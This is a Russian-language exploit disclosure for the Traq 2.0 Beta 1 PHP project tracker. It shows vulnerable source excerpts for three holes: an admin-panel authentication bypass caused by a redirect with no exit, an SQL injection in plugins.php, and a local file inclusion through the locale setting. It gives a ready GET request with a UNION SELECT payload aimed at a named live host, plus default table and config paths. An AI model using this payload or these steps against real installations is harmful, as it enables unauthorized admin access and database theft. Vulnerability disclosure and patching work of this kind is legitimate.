Уязвимости Traq 2.0 Beta 1(возможно уязвимы и более ранние версии)
Traq is a PHP5 and MySQL based Project Tracking system with the ability to host multiple projects.
Default database prefix: traq_
Users table : {prefix}users(username: password: group_id)
Config: /inc/config.php
Admin-panel: /admincp/
1)Bypass
/admincp/index.php
PHP код:
authenticate();
// Get the statistics...
$projects = $db->numrows($db->query("SELECT id FROM ".DBPF."projects"));
/admincp/common.php
PHP код:
function authenticate()
{
global $user;
if(!$user->group['is_admin'])
header("Location: login.php"); //die() и exit отсутствуют, бипасс налицо
2)Sql-injection(требования:доступ в админ панель)
/admincp/plugins.php
PHP код:
elseif(isset($_REQUEST['hooks']))
{
// Fetch Plugin info
$plugin = $db->queryfirst("SELECT name FROM ".DBPF."plugins WHERE id='".$_REQUEST['plugin']."' LIMIT 1"); //везде стоит обработка переменной участвующей в запросе, в этом месте пропустили
// Fetch Plugin hooks
$hooks = array();
$fetchhooks = $db->query("SELECT id,title,hook,code FROM ".DBPF."plugin_code WHERE plugin_id='".$db->res($_REQUEST['plugin'])."' ORDER BY title ASC");
эксплуатация и PoC:
Код:
GET http://bugs.macpietsapps.net/admincp/plugins.php?hooks=1&plugin='+union+select+concat_ws(0x3a,version(),user(),database())--+ HTTP/1.0 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1 Connection: Close
3)LFI(требования:доступ в админ панель)
/inc/common.php
PHP код:
function settings($setting)
{
global $CACHE, $db;
// Check if the setting has already been fetched
// and return it if it has.
if(isset($CACHE['settings'][$setting])) return $CACHE['settings'][$setting];
// Looks like the setting isn't in the cache,
// lets fetch it now...
$result = $db->fetcharray($db->query("SELECT setting, value FROM ".DBPF."settings WHERE setting='".$db->res($setting)."' LIMIT 1"));
$CACHE['settings'][$setting] = $result['value'];
($hook = FishHook::hook('function_settings')) ? eval($hook) : false;
return $CACHE['settings'][$setting];
}
/inc/global.php
PHP код:
require('locale/'.settings('locale'));
Эксплуатация:
Через /admincp/settings.php меняем Language(по дефолту enus.php) и сохраняем настройки.